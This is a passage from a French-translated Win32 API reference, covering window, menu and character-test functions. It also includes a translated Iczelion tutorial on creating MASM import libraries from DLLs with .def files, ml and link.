HWND hwnd;	/* handle de la fenêtre */
LPRECT lprc;	/* adresse de la structure pour les coordonnées de la fenêtre */
Cette fonction copie les dimensions du rectangle qui délimite la fenêtre indiquée, dans la structure pointée par le paramètre lprc. On donne les dimensions en coordonnées écran, par rapport au coin supérieur-gauche de l'écran. Ça inclue le titre, la frontière et les barres de défilement, s'ils sont présents.

Paramètre 	 Description

hwnd 	 	 Identifie la fenêtre.
lprc 	 	 Pointe sur une structure RECT laquelle contient les coordonnées (écran) du
         coins supérieurs-gauches et bas-droites de la fenêtre.

Retours

Retours TRUE pour un succès, FALSE pour un échec.

Voir Aussi

GetClientRect, RECT


GetWindowText (Win32)

int GetWindowText(hwnd, lpString, nMaxCount)

HWND hwnd;	  /* handle de la fenêtre */
LPTSTR lpString;  /* adresse du buffer recevant le texte */
int nMaxCount;	  /* nombre maximum de caractères à copier */
Cette fonction copie le texte du titre de la fenêtre donnée (s'il y en a un) dans le buffer indiqué par le paramètre lpString. Si le paramètre hwnd identifie un control (comme un bouton ou un Edit control), alors la fonction GetWindowText copie le texte de ce control à la place.

Paramètre 	 Description

hwnd 	 	 Identifie la fenêtre ou le control dont le titre ou le texte doivent être
         copiés.
lpString 	 Pointe sur un Buffer qui va recevoir la chaîne de caractères à copier.
nMaxCount 	 Indique le nombre maximal de caractères à recopier dans ce Buffer. Si la
         chaîne de caractères est plus longue que le nombre de caractères indiqués
         par le paramètre nMaxCount, elle sera tronquée.

Retours

La valeur en retour est la longueur (en nombre de caractères) de la chaîne copiée, ça n'inclue pas le caractère nul de terminaison. Ce sera zéro si la fenêtre n'a aucun titre ou bien si le titre est vide.

Commentaires

Cette fonction fait qu'un message WM_GETTEXT est envoyé à la fenêtre ou au control donné.
La fonction GetWindowText peut être employée soit en tant que fonction à caractère large (où les arguments de texte doivent employer Unicode) soit en tant que fonction ANSI (où les arguments de texte doivent employer des caractères du jeu de Windows 3.x).

Voir Aussi

SetWindowText, GetWindowTextLength, WM_GETTEXT


GetWindowTextLength (Win32)

int GetWindowTextLength(hwnd)

HWND hwnd;	/* handle de la fenêtre avec du texte */
Cette fonction retourne la longueur (le nb de caractères) du titre de la fenêtre donnée. Si le paramètre hwnd identifie un contrôle, la fonction GetWindowTextLength renvoie la longueur (le nb de caractères) du texte de ce control à la place du titre.

Paramètre 	 Description

hwnd 	 	 Identifie la fenêtre ou le control.

Retours

La valeur en retour est la longueur du texte. Ce sera un NULL si aucun texte n'existe.

Voir Aussi

GetWindowText, SetWindowText


GetWindowThreadProcessId (Win32)

DWORD GetWindowThreadProcessId (hwnd, lpdwProcessId)

HWND hwnd;
LPDWORD lpdwProcessId;

Cette fonction vous permet d'obtenir le n°ID du lien et le n°ID du process qui ont permis la
création de la fenêtre.

Paramètre   			Description

hwnd 	 			Handle de la fenêtre désignée.
lpdwProcessId		   	DWORD dans lequel la fonction stockera le n°ID du process de
                la fenêtre, en le retrouvant à partir de son Handle.

Retours

La valeur en retour dans EAX est le n°ID du lien qui a créé cette fenêtre d'Handle 'hwnd'.
En plus, si lpdwProcessId n'est pas NULL, la fonction place le n°ID du process dans le DWORD
lpdwProcessId.

Commentaires

A l'origine Windows 3.xx employait la fonction API GetWindowTask pour obtenir l'handle de la
tâche,  soit:'hTask' qui avait créé une fenêtre. Les nouvelles applications Win32 doivent
utiliser GetWindowThreadProcessId au lieu de GetWindowTask.

GetWindowTask est maintenant désuète. Pour la compatibilité, on l'a macromifier sous la forme
de GetWindowThreadProcessId comme voici :

 #define GetWindowTask (hwnd) \
 ((handle) GetWindowThreadProcessId (hwnd, NUL))

Alors que GetWindowTask renvoie un handle sous Win3.xx, cette macro refondue sous forme
GetWindowThreadProcessId renvoie un handle. Cet handle est réellement le n°ID du lien qui
a créé l'hwnd et non pas seulement le hwnd.


GetWindowWord (Win32)

WORD GetWindowWord(hwnd, nIndex)

HWND hwnd;	/* handle de la fenêtre*/
int nIndex;	/* offset de la valeur à retrouver */

Cette fonction retrouve une information propre à la fenêtre identifiée par hwnd.

Paramètre 	 Description

hwnd 	 	 Identifie la fenêtre.
nIndex 	 	 Spécifie l'offset (de type byte) de la valeur à retrouver.

Retours

La valeur en retour est une information sur la fenêtre donnée.

Commentaires
Pour avoir accès à n'importe quelles valeurs supplémentaires (de deux bytes) réservée une fois que la structure 'Window Class' a été créée, vous devez utilisez un offset positif (de longeur byte) en tant qu'index dans le paramètre nIndex, en commençant à zéro pour la première valeur sur deux octets dans l'espace supplémentaire, puis deux pour la valeur suivante de deux octets et cetera. La valeur en retour contiendra la valeur de deux octets retrouvée dans son Word de poids faible et zéro dans son Word de poids fort.
Utilisez la fonction GetWindowLong pour retrouver les valeurs System-Prédéfinies suivantes :

New SetWindowLong	 Index	Old SetWindowWord Index

GWL_HINSTANCE 	 	 GWW_HINSTANCE
GWL_HWNDPARENT 	 	 GWW_HWNDPARENT
GWL_ID 	 		 GWW_ID

Voir Aussi

SetWindowWord, GetWindowLong, SetWindowLong, SetParent, GetParent


HiliteMenuItem (Win32)

BOOL HiliteMenuItem(hwnd, hmenu, uItemHilite, uHilite)

HWND hwnd;	/* handle de la fenêtre ayant le menu */
HMENU hmenu;	/* handle de ce menu */
UINT uItemHilite;	/* item à surligné ou (contraire) */
UINT uHilite;	/* flags de surlignage */
La fonction HiliteMenuItem surligne ou enlève le surlignage d'un item d'une barre de menu.

Paramètre Description

hwnd Identifie la fenêtre qui contient le menu.
hmenu Identifie la barre de menu qui contient l'item qui doit être surligné.
uItemHilite Représente l'item à surligné dans la barre de menu, l'interprétation de ce paramètre dépend de la valeur du paramètre uHilite.
uHilite Est une combinaison de deux flags qui d'une part sert à interpréter le paramètre uItemHilite, et d'autre part sert à surligné ou non l'item. Ce paramètre peut être une combinaison de : soit 'MF_BYCOMMAND soit MF_BYPOSITION' et de : soit 'MF_HILITE soit MF_UNHILITE'.
(ex : MF_BYCOMMAND+ MF_HILITE)

Valeur Signification

MF_BYCOMMAND Le paramètre uItemHilite représente alors ne n°ID de l'item.
MF_BYPOSITION Le paramètre uItemHilite représente alors la position zéro-basée relative de l'item.

MF_HILITE L'item est surligné. Si on ne donne pas cette valeur, l'item sera désurligné.
MF_UNHILITE L'item n'est pas surligné.

Retours

La valeur en retour est TRUE si l'item passe bien à l'état surligné si on avait mis MF_HILITE, de la même façon la valeur de retour est également TRUE si l'Item passe bien à l'état non-surligné si on avait mis MF_UNHILITE. Autrement, c'est FALSE.

Commentaires

Les flags MF_HILITE et MF_UNHILITE peuvent être employés seulement avec la fonction HiliteMenuItem; ils ne peuvent pas être employés avec la fonction ModifyMenu.

Voir Aussi

ModifyMenu


How to create your own MASM import libraries

Comment créer vos propres Bibliothèques d'Importation pour MASM32

(How toCreate your own MASM Import Libraries)

par Iczelion
Ce court essai concerne les mécanismes de création des bibliothèques d'importation pour une utilisation avec MASM. Je présumerai que vous sachiez déjà certaines choses à propos des bibliothèques d'importation, c'est-à-dire. Vous que vous sachiez ce qu'est une bibliothèque d'importation, et cetera. Je me concentrerai sur la technique utilisée habituellement pour produire votre propre bibliothèques d'importation Masm.

Format d'une Bibliothèque d'Importation sous MASM

MASM et Visual C++ peuvent se servir des mêmes bibliothèques d'importation, ce qui est très pratique. Les bibliothèques d'importation de Microsoft utilisent une variante du format de fichier COFF qui diffère du format OMF employé par TASM. C'est cela que TASM ne peut pas employer les importations libs de MASM et vice versa. Je n'entrerai pas dans les détails des formats des bibliothèques d'importation de Microsoft. C'est suffisant de savoir que chaque importe lib Microsoft contient les informations à propos des fonctions qui sont présentes dans certaines DLLs. Ces informations incluent les noms des fonctions et la taille complète des paramètres a passer à ces fonctions. Si vous examinez kernel32.lib avec un éditeur Hexadécimal, vous trouverez des entrées avec ce format :
_ExitProcess@4
_CreateProcessA@40
Les noms des fonctions sont "affublées d'un tiret de soulignent devant. Le numéro qui le nom de la fonction est la taille totale des paramètres de cette fonction, en octets. ExitProcess prend seulement un paramètre dword, pour que le numéro soit 4. 4 octets = 4 BYTES = 2 WORDS = 1 DWORD.
Pourquoi inclure cette information à propos de la taille des paramètres ? Cette information est employée par MASM pour vérifier si on passe le nombre et la taille correctes des paramètres à une fonction. Vous obtenez cette particularité quand vous appelez cette fonction avec le mot-clé invoke. Si vous poussez seulement des paramètres sur la pile puis exécutez la fonction avec un Call, vous n'obtiendrez pas cette vérification de la part de MASM.
C'est cet avantage supplémentaire qui rend pratiquement impossible la création de Bibliothèque d'importation MASM directement à partir des DLLs, parce que les DLLs ne contient pas d'informations explicites sur la taille des paramètres a passer à leurs propres fonctions.

Création de Bibliothèque d'Importation MASM à partir de DLLs

Si vous désirez pousser des paramètres sur la pile et exécuter des fonctions avec CALL , vous pouvez créer l'import lib' à partir de n'importe quelle DLL pour l'utiliser avec MASM comme cela :
  • Utilisez 'dumpbin.exe' qui provient de Visual C++ pour déposer les noms des fonctions d'exportation dans la DLL.
      Dumpbin /EXPORTS blah.dll > output.txt
  • Après que vous avez obtenu la liste des noms des fonctions, créez un fichier de définition de module (.def). Par exemple, si la fonction contient seulement une unique fonction, GetSomeLine, tapez les lignes suivantes dans un fichier txt :
    LIBRARY blah
    EXPORTS
    GetSomeLine
    Sauvegardez-la en tant que 'blah.def'
  • exécutez lib.exe pour créer l'import lib' (la Bibliothèque d'Importation) à partir du fichier de module de definition, comme ça :

      • lib /DEF:blah.def
Et voilà ! Vous obtiendrez blah.lib. Vous pouvez l'employer avec MASM tant que vous n'utilisez pas invoke avec les fonctions qui se trouvent dans cet 'importation lib'.

Création d'une Bibliothèque d'Importation MASM, Utilisable avec 'invoke'.

Moi, pour ma part suis peu disposé à utiliser l'approche normale utilisant les 'CALL'. invoke est un emballage agréable pour appeler une fonction. C'est une des raisons pour lesquelles je préfère MASM À TASM. Mais comme je l'ai déjà dis, il est presque impossible de créer des 'importe lib' MASM qui fonctionnent à 100% à partir de chaque DLL. Vous ne pouvez plus utiliser la première méthode pour créer une 'Bibliothèque d'Importation MASM' avec laquelle on puisse utiliser invoke. Par exemple, vous pouvez croire que si vous modifiez les noms des fonctions dans le fichier .def pour inclure "@xx", l'import lib doit être ok. Ayez confiance en moi. Ça ne fonctionnera pas.
La manière simple pour créer "une importe lib invokable" c'est d'employer MASM lui-même. Si vous avez codé une DLL, vous observerez que vous obtiendrez également une 'import lib' pour votre DLL. Et cette 'Import Lib' est entièrement invokable! Notre stratégie consiste à faire ce qui suit :
  1. Obtenez les noms des fonctions et la taille totale de leurs paramètres
  2. Créez le code source de la DLL, ça inclut ses propres fonctions avec le nombre et la taille correctes de leurs arguments à chacunes.
  3. Créez un fichier de définition de module (*.def) qui décrit les fonctions correspondantes dans le code source asm.
  4. Assemblez le code source asm comme un projet de DLL.
Voilà. Vous obtiendrez un Bibliothèque d'Importation MASM entièrement fonctionnelle. Ça ne mérite pas plus d'explications.

Obtenez les noms des fonctions et la taille totale de leurs paramètres

C'est la partie la plus difficile du processus. Si vous avez seulement la DLL, vous vous embarquez dans une aventure fastidieuse. Ci-dessous voici quelques méthodes, mais je pense qu'aucune d'elles ne fonctionne à 100%.
  • Servez-vous de 'Interactif disassembler' (IDA) pour désassembler la DLL. Avec ce merveilleux outil, vous pourrez obtenir la taille approximative des paramètres attendus par les fonctions. Les informations ne sont cependant pas parfaites. IDA est un disassembler effrayant d'efficacité, mais parfois, seulement l'humain peut décider de qui est qui. Vous devrez lire attentivement et vérifier la totalité du listing désassemblé.
  • Observez la valeur du pointer de pile avant et après les CALL de chaque fonction dans la DLL. La méthode c'est :
    1. Obtenez l'adresse des fonctions avec GetProcAddress
    2. Appelez (CALL) chaque fonction sans passer aucun paramètre sur la pile. Notez la valeur d'esp avant le CALL.
    3. Quand les fonctions retournent, comparez la valeur d'esp après le CALL avec l'esp avant le CALL. Le raisonnement c'est : qu'avec la convention de passage de paramètres STDCALL, c'est la fonction qui s'occupe de rétablir la pile. La différence entre les deux valeurs de l'esp est la taille des paramètres attendus par cette fonction.
    Hélas, cette méthode n'est pas parfaite. Elle peut échouer dans les circonstances qui suivent :
  • Si les fonctions dans la DLL emploient d'autres paramètres que ceux de la convention de passage autre que stdcall ou Pascal.
  • Si les fonctions ne réussissent pas à nettoyer la pile, comme lorsque des exceptions se produisent.
  • Si les fonctions sont conçues pour faire quelque chose de dangereux comme le formatage du disque dur (Dieu l'interdit!)
  • Étudiez les programmes existants qui emploient la DLL. Vous pouvez Désassembler/Débugger ces programmes pour voir le nombre et la taille des paramètres qu'ils passent aux fonctions dans la DLL. Cependant, s'il existe certaines fonctions dans la DLL qui ne sont jamais employées par aucun programme, vous êtes en rade avec ces deux méthodes.

Créer un code source DLL asm qui contient toutes ces fonctions

Après que vous obteniez les noms des fonctions et la taille de leurs paramètres respectifs, le reste est simple. Vous créez juste le squelette d'une DLL asm et ensuite vous créez des fonctions ayant les mêmes noms que celles de la DLL dans le fichier asm. Par exemple, si la DLL a seulement une fonction, GetSomeLine, qui prend des paramètres d'une taille totale de 16 BYTES. Dans le fichier asm, vous tapez les lignes suivantes :
.386
.model flat,stdcall
.code
GetSomeLine proc param1:DWORD, param2:DWORD, param3:DWORD, param4:DWORD
GetSomeline endp
end
Qu'est-ce que c'est que ça ? Vous pouvez vous le demander. Une procédure sans aucune instruction à l'intérieur ? Une Bibliothèque d'Importation ne contenant aucuns renseignements sur ce que l'on suppose que les fonctions devraient faire. Son unique but est de fournir les informations des noms des fonctions ainsi que leurs paramètres. Donc nous n'avons pas besoin de mettre d'instructions dans la procédure fictive. De toute façon, nous nous débarrasserons de la DLL inutile produite par le process assemblé. Tout ce que nous voulons c'est mettre les renseignements des noms des fonctions et la taille des paramètres dans le code asm source pour que MASM puisse produire la Bibliothèque d'Importation qui fonctionne. La taille de chaque paramètre n'est pas essentielle. Pour votre information, actuellement MASM considère toujours chaque paramètre comme un DWORD peu importe quel spécificateur de taille vous employez. Par exemple, nous pouvons employer :
.386
.model flat,stdcall
.code
GetSomeLine proc param1:BYTE, param2:BYTE, param3:BYTE, param4:BYTE
GetSomeline endp
end
Et MASM créera heureusement l'entrée _GetSomeLine@16 dans l'import lib'.

Création un fichier de définition de module

C'est processus simple. Vous avez besoin de ce fichier pour que MASM puisse produire la DLL et la 'Bibliothèque d'Importation (import lib). Le gabarit d'un module de defintion est ainsi fait :
LIBRARY <Nom de la DLL>
EXPORTS
<Nom de la Fonction>
Vous remplissez juste le nom de la DLL, ce nom servira également pour la Bibliothèque d'Importation (*.lib). Et ensuite on met la liste des noms de fonction en dessous de la ligne EXPORTS, chaque nom étant sur sa propre ligne. Sauvegardez le fichier et vous obtenez le fichier d'un module de défintion fonctionnant.

Assemblez le code source asm comme si c'était une DLL

La dernière étape est la plus simple. Il suffit juste d'utiliser ml.exe et link.exe.
ml /c /coff /Cp blah.asm
link /DLL /NOENTRY /def:blah.def /subsystem:windows blah.obj
Et nous obtenons une 'import lib' invokable.

Un Exemple

L'explication brute au-dessus peut ne pas être très claire. Je suis un ferme partisan de l'apprentissage sur le terrain. Donc je vous fournis un exemple qui montre ce processus. Les fichiers d'exemple sont :
  • Le code source asm qui contient toutes les fonctions dans kernel32.dll (documentés de toute façon)
  • Le fichier de définition correspondant (*.def)
  • Un fichier BATCH (*.bat) que vous pourrez utiliser pour construire vos Bibliothèques d'Importation
L'assemblage de cet exemple vous donnera un kernel32.lib que vous pourrez employer à la place de celui fourni par Microsoft.

Plus d'Outils

Si vous voulez ajouter/enlever des fonctions d'une certaine 'importa lib', vous pouvez employer deux outils assez simple que j'ai codé. Par exemple, si vous voulez ajouter des fonctions non documentées à kernel32.lib, vous trouverez ces outils utiles.

Lib2Def

Il extrait les noms des fonction et la taille de leurs paramètres respectifs de n'importe quelle Bibliothèque d'Importation MASM/VC++. Lancez-le juste et il examinera les process de CHACUNES des bibliothèques d'importation qui se trouvent dans le même dossier. Les fichiers de 'données de sorties' ont des extensions .icz. Leur contenu ressemble à cela :
_ExitProcess@4
_ExitThread@4
_ExitVDM@8
_ExpandEnvironmentStringsA@12
_ExpandEnvironmentStringsW@12 @12
Si vous voulez ajouter une fonction, vous devez juste insérez une nouvelle ligne et mettre un tiret de soulignement, ensuite le nom de fonction puis la taille totale que prennent ses paramètres (en BYTE). Si la fonction est exportée par nombre ordinal, il y aura @xx en plus après le nom. Le "xx" étant le nombre ordinal. Notez que ce simple outil ne vérifie pas les noms de fonctions doubles. Et il peut y avoir des noms doubles dans certaines Bibliothèques d'Importation.

MLib

Cet outil accepte les fichiers de 'données de sorties' de Lib2Def et fabrique des Bibliothèques d'importation à partir d'eux. Il examinera le contenu de CHACUNS des fichiers ayant l'extension .icz. Pour votre information, il fait une analyse syntaxique des lignes qui sont dans les fichiers .icz et crée les fichiers .asm et .def à partir d'eux. Donc il appelle ml.exe et link.exe pour produire la Bibliothèque d'Importation (*.lib). Les fichiers .obj, .asm, .exp et .dll sont ensuite supprimés, il ne reste donc plus que le fichier *.lib. Si cet outil ne réussit pas à produire le fichier .lib, vérifiez s'il vous plaît s'il y a certains noms de fonction doubles dans le fichier .icz : c'est la cause la plus probable d'un éventuel échec.

Downloadez ces deux outils

[Iczelion's Win32 Assembly Homepage]

Traduit par Morgatte


InsertMenu (Win32)

BOOL InsertMenu(hmenu, uItem, fuFlags, idNewItem, lpszNewItem)

HMENU hmenu;		   /* handle du menu */
UINT uItem;		   /* item au-dessus duquel le nouvel item va être placé */
UINT fuFlags;		   /* flags concernants cet Item*/
UINT idNewItem;		   /* identifier de l'item, ou bien handle d'un popup menu */
LPCTSTR lpszNewItem;   	   /* contenu de l'item */
La fonction InsertMenu insère un nouvel item dans un menu, en déplaçant les autres items vers le bas du menu. L'application peut fixer le contenu, l'apparition et le comportement de l'item en plaçant certaines valeurs dans le paramètre fuFlags.

Paramètre Description

hmenu Identifie le menu à modifier.
uItem Indique l'item au-dessus duquel le nouvel item va être inséré, l'interprétation de ce paramètre dépend du paramètre fuFlags.
fuFlags Représente une combinaisons de plusieurs flags qui déterminent l'interprétation du paramètre uItem, ainsi que le contenu, l'apparence et le comportement de ce nouvel item. Ce paramètre peut être une combinaison d'une des valeurs suivantes et avec en plus les valeurs inscrites dans la section Commentaires.

Valeur Signification

MF_BYCOMMAND Le paramètre uItem représente le n°ID de l'item.
MF_BYPOSITION Le paramètre uItem représente la position relative zéro-basée de l'item. Si uItem est -1, le nouvel item est ajouté tout à la fin du menu.

idNewItem Représente soit ce qui identifie ce nouvel item (son n°ID ou sa position, c'est selon), soit si le paramètre fuFlags est mis à MF_POPUP, le handle du menu-popup.
lpszNewItem Représente le contenu du nouvel item. L'interprétation de ce paramètre dépend de ce que comporte le paramètre fuFlags. Ce contenu sera une chaînes de caractères (du texte) pour fuFlags=MF_STRING, ou bien une image avec MF_BITMAP ou MF_OWNERDRAW.

Valeur Contenu de l'Item

MF_STRING Contient un pointer étant sur une chaîne de caractères terminée par un NULL de terminaison.
MF_BITMAP Contient le handle d'un bitmap (d'une image).
MF_OWNERDRAW Contient une valeur 32 bits que l'application peut utiliser pour entretenir des données complémentaires associées à cet item. Une application peut trouver cette valeur dans le membre itemData de la structure indiquée par le paramètre lParam des messages WM_MEASUREITEM et WM_DRAWITEM qui sont envoyés lorsque l'item est créé ou lorsque son apparence doit être remise à jour.

Retours

La valeur en retour est TRUE si la fonction est couronnée de succès ou FALSE si une erreur se produit. Pour obtenir l'information sur l'erreur étendue, employez la fonction GetLastError.

Commentaires

La fonction InsertMenu peut être employée soit en tant que fonction à caractère larges (où les arguments de texte doivent employer l'Unicode) soit en tant que fonction ANSI (où les arguments de texte doivent employer des caractères du jeu de Windows 3.x).

Chaque fois qu'un changement intervient sur un menu (ce qui n'est vrai que si le menu est déjà affiché sur la fenêtre), l'application doit appeler la fonction DrawMenuBar. (pour rafraîchir ce menu).
La liste suivante montre les groupes de flags qui ne doivent pas être employés ensembles :

MF_BYCOMMAND et MF_BYPOSITION
MF_DISABLED, MF_ENABLED et MF_GRAYED
MF_BITMAP, MF_STRING, MF_OWNERDRAW et MF_SEPARATOR
MF_MENUBARBREAK et MF_MENUBREAK
MF_CHECKED et MF_UNCHECKED

La liste suivante décrit les flags qui peut être placés dans le paramètre fuFlags :

Valeur Signification

MF_BITMAP Utilise un bitmap en tant qu'item. Le paramètre lpszNewItem contient le handle du bitmap.
MF_BYCOMMAND Indique que le paramètre uItem représente le n°ID de l'item (c'est ce qui est pris par défaut).
MF_BYPOSITION Indique que le paramètre uItem représente la position zéro-basée relative du nouvel item.
MF_CHECKED Place une marque de contrôle à côté de l'item. Si l'application a prévu un bitmap de contrôle en tant que 'marque' (voir la fonction SetMenuItemBitmaps), en mettant ce flag un bitmap sera affiché à côté de l'item.
MF_DISABLED Désactive l'item pour qu'il ne puisse plus être choisi, mais ne ça ne le grise pas.
MF_ENABLED Active (ou réactive) l'item pour qu'il puisse être sélectionné et le rétabli à son état dégrisé si il l'était précédemment.
MF_GRAYED Grise et désactive l'item pour qu'il ne puisse pas être sélectionné.
MF_MENUBARBREAK Idem MF_MENUBREAK sauf que, pour les menus-popup, ça insère une ligne verticale pour séparer la nouvelle colonne de l'ancienne.
MF_MENUBREAK Place un item sur une nouvelle ligne (pour les items d'une barre de menu). Pour les items d'un menu-popup, ça place un item dans une nouvelle colonne, sans ligne de séparation entre les colonnes.
MF_OWNERDRAW Spécifie que l'item est une image non prédéterminée (une image quelconque). La fenêtre qui possède le menu reçoit un message WM_MEASUREITEM avant que le menu ne soit affiché pour la première fois pour retrouver la largeur et la hauteur de l'image constituant cet item. Le message WM_DRAWITEM est ensuite envoyé à la procédure de fenêtre de la fenêtre qui possède cet item à chaque apparition de cet item pour le remettre à jour. (pour le rafraîchir)
MF_POPUP Indique que l'item est un item-popup; c'est-à-dire que le fait de le choisir invoque un menu-popup. Le paramètre idNewItem représente le handle du menu-popup. Ce flag est employé pour ajouter un item-popup à une barre de menu ou à un menu-popup.
MF_SEPARATOR Tire une ligne de séparation horizontale. Ce flag peut être employé seulement avec un menu-popup. La ligne de séparation ne peut ni être grisée, ni désactivée, ni même surlignée. Les paramètres lpszNewItem et idNewItem sont ignorés.
MF_STRING Indique que l'item est une chaîne de caratères; le paramètre lpszNewItem doit pointer sur une chaîne de caractères.
MF_UNCHECKED Ne place aucune zone de contrôle à côté de l'item (c'est ce qui est pris par défaut). Si l'application a déjà mis une marque de contrôle de type bitmap (une image) (voir la fonction SetMenuItemBitmaps), en mettant ce flag ça affiche un bitmap, sur lequel on ne pourra pas cliquer, à côté de l'item.

Voir Aussi

AppendMenu, DeleteMenu, DrawMenuBar, ModifyMenu, RemoveMenu, SetMenuItemBitmaps


IsCharAlpha (Win32)

BOOL IsCharAlpha(cChar)

TCHAR cChar;	/* caractère à tester */

La fonction IsCharAlpha détermine si un caractère est un caractère alphabétique. Cette
détermination est basée sur la sémantique de la langue choisie par l'utilisateur au moment
de l'installation ou dans le Panneau de configuration.

Paramètre 	 Description

cChar 		 Spécifie le caractère à évaluer.

Retours

La valeur en retour est TRUE si le caractère est alphabétique. Autrement, cette valeur est un
FALSE.

Commentaires

La fonction IsCharAlpha peut être utilisée soit en tant que fonction à caractères larges (où
les arguments de texte doivent employer l'Unicode) soit en tant que fonction ANSI (où les
arguments de texte doivent employer le jeu de caractères de Windows 3.x).

Voir Aussi

IsCharAlphaNumeric


IsCharAlphaNumeric (Win32)

BOOL IsCharAlphaNumeric(ch)

TCHAR ch;	/* caractère à tester */

La fonction IsCharAlphaNumeric détermine si un caractère est un caractère alphabétique ou
numérique. Cette détermination est basée sur la sémantique de la langue choisie par
l'utilisateur au moment de l'installation ou dans le Panneau de configuration.

Paramètre 	 Description

cChar 		 Spécifie le caractère à évaluer.

Retours

La valeur en retour est TRUE si le caractère est alphabétique ou FALSE si une erreur s'est
produite. Utilisez la fonction GetLastError pour obtenir des informations à propos de l'erreur
étendue.

Commentaires

La fonction IsCharAlpha peut être utilisée soit en tant que fonction à caractères larges (où
les arguments de texte doivent employer l'Unicode) soit en tant que fonction ANSI (où les
arguments de texte doivent employer le jeu de caractères de Windows 3.x).

Voir Aussi

IsCharAlpha


IsChild (Win32)

BOOL IsChild(hwndOwner, hwnd)

HWND hwndOwner;	/* handle de la fenêtre parente */
HWND hwnd;	/* handle de la fenêtre enfant */
Cette fonction indique si la fenêtre indiquée par le paramètre hwnd est bien une fenêtre enfant ou une autre descendante directe de la fenêtre indiquée par le paramètre hwndOwner.

Paramètre 	 Description

hwndOwner 	 Identifie une fenêtre.
hwnd 	 	 Identifie la fenêtre à vérifier.

Retours
La valeur en retour est le résultat de la fonction. On obtient un TRUE si la fenêtre identifiée par le paramètre hwnd est bien une fenêtre enfant de la fenêtre identifiée par le paramètre hwndOwner. Autrement, on obtient un FALSE.

Voir Aussi

IsWindow


IsDialogMessage (Win32)

BOOL IsDialogMessage(hwndDlg, lpmsg)

HWND hwndDlg;	/* handle de la DialogBox */
LPMSG lpmsg;	/* adresse of structure contenant le message */
La fonction IsDialogMessage détermine si le message indiqué est destiné à la DialogBox non prédéfini donnée et, s'il l'est, elle traite le message.

Paramètre 	 Description

hwndDlg 	 Identifie la DialogBox.
lpmsg 	 	 Pointe sur une structure MESSAGE, laquelle contient le message à vérifier.

Retours

La valeur en retour est TRUE si le message a été traité. Autrement, c'est FALSE.

Commentaires

Bien que IsDialogMessage soit destinée aux DialogBox de modèles non prédéfinis, elle peut quand même être
utiliser avec n'importe quelle fenêtre contenant  des Controls, permettant ainsi à ces fenêtres de fournir
la même sélection KeyBoard que pour une DialogBox.

Quand IsDialogMessage traite un message, elle teste les messages destinés au clavier et les convertit en
une commande de sélection pour  la DialogBox correspondante. Par exemple, le fait d'appuyer sur la touche
TAB sélectionne le Control suivant ou un groupe de Controls. Et la touche FLÈCHE-BAS sélectionne le
Control suivant dans ce groupe.

Si un message est traité par IsDialogMessage, on ne doit pas le passer à la Fonction DispatchMessage ou
TranslateMessage. C'est pour ça que IsDialogMessage fait toutes les traductions nécessaires et envoi les
messages.

IsDialogMessage envoie des messages WM_GETDLGCODE à la procédure de  la DialogBox pour déterminer quelles
touches doivent être traitées.

IsDialogMessage peut envoyer les messages DM_GETDEFID et DM_SETDEFID à la fenêtre. Ces messages sont
définis dans l'entête du fichier WINUSER.H en tant que WM_USER et WM_USER+1, c'est pourquoi des conflits
sont possibles avec certains messages possédant les mêmes valeurs définis dans l'application.

Voir Aussi

DispatchMessage, TranslateMessage, MESSAGE


IsDlgButtonChecked (Win32)

UINT IsDlgButtonChecked(hwndDlg, nIDButton)

HWND hwndDlg;	/* handle de la DialogBox */
int nIDButton;	/* identificateur du bouton */
Cette fonction détermine si un bouton (un Control de type button) possède un checkmark à côté de lui et si un bouton à trois états est grisé, sélectionné, ou désélectionné. La fonction IsDlgButtonChecked envoie le message BM_GETCHECK au Control (au bouton).

Paramètre 	 Description

hwndDlg 	 Identifie la DialogBox qui contient le bouton.
nIDButton 	 n°ID du bouton.

Retours
La valeur en retour est le résultat de la fonction. Cette valeur ent non nulle si le bouton donné possède un checkmark à côté de lui. Autrement, c'est zéro.
Pour les boutons à trois états, la valeur en retour est 2 si le bouton est grisé, 1 si le bouton possède un checkmark à côté de lui (activé, sélectionné), et le zéro si il n'a pas de checkmark (désactivé, désélectionné).

Voir Aussi

CheckDlgButton


IsIconic (Win32)

BOOL IsIconic(hwnd)

HWND hwnd;	/* handle de la fenêtre */

Cette fonction indique si une fenêtre est réduite au minimum (iconique).

Paramètre 	 Description

hwnd 	 	 Identifie la fenêtre.

Retours

La valeur en retour est non-nulle si la fenêtre est réduite au minimum; sinon c'est zéro.

Voir Aussi

IsZoomed


IsMenu

BOOL IsMenu(

    HMENU hMenu	// handle à tester
);

La fonction IsMenu détermine si le handle est un handle provenant d'un menu.

Paramètres

hMenu

Handle à vérifier (pour voir si c'est un Handle de menu, car il se peut que le handle à tester appartienne à un autre objet qu'un menu).

Valeurs en Retour

Si hMenu est un handle de menu, la valeur en retour est non-nulle.
Si hMenu n'est pas un handle de menu, la valeur en retour est nulle.


IsWindow (Win32)

BOOL IsWindow(hwnd)

HWND hwnd;	/* handle de la fenêtre */

Cette fonction détermine si la fenêtre identifiée par le paramètre hwnd est une fenêtre valide
et existant.

Paramètre 	 Description

hwnd 	 	 Identifie la fenêtre.

Retours

La valeur en retour indique si la fenêtre donnée est véritablement valide. La valeur en retour
sera non-nulle si hwnd est une fenêtre valide. Autrement, c'est zéro.

Voir Aussi

IsWindowEnabled, IsWindowVisible


IsWindowUnicode (Win32)

BOOL IsWindowUnicode(hwnd)

HWND hwnd;
Cette fonction détermine si cette fenêtre est une fenêtre Unicode, ou une fenêtre ANSI-ASCII. Une fenêtre est une fenêtre Unicode si sa définition de classe de fenêtre (sa Window Class) a été enregistrée (définit) avec la version de caractère large dans la fonction RegisterClass.
Le système traduit automatiquement les messages de fenêtre (WM_) de la version Unicode vers la version ANSI-ASCII. Si un message de fenêtre ANSI-ASCII est envoyé à une fenêtre Unicode par exemple, le système retranscrira ce message en un message Unicode avant le Call de la procédure de fenêtre. Le système détermine s'il a besoin de faire la traduction en appelant IsWindowUnicode.

Paramètre 	 Description

hwnd 	 	 Est le handle d'une fenêtre.

Retours

Les valeurs en retours seront TRUE si la fenêtre est une fenêtre Unicode, et FALSE autrement.


IsWindowVisible (Win32)

HWND hwnd;	/* handle de la fenêtre à tester */
La fonction IsWindowVisible retourne une valeur non nulle à chaque fois qu'une application rend visible une fenêtre en utilisant la fonction ShowWindow (même si la fenêtre indiquée est complètement recouverte par une autre fenêtre enfant ou popup, la valeur en retour reste non nulle).

Paramètre 	 Description

hwnd 	 	 Identifie la fenêtre.

Retours
La valeur en retour indique si la fenêtre donnée existe réellement à l'écran. La valeur sera non nulle si la fenêtre donnée existe à l'écran. Autrement, c'est zéro.

Voir Aussi

ShowWindow


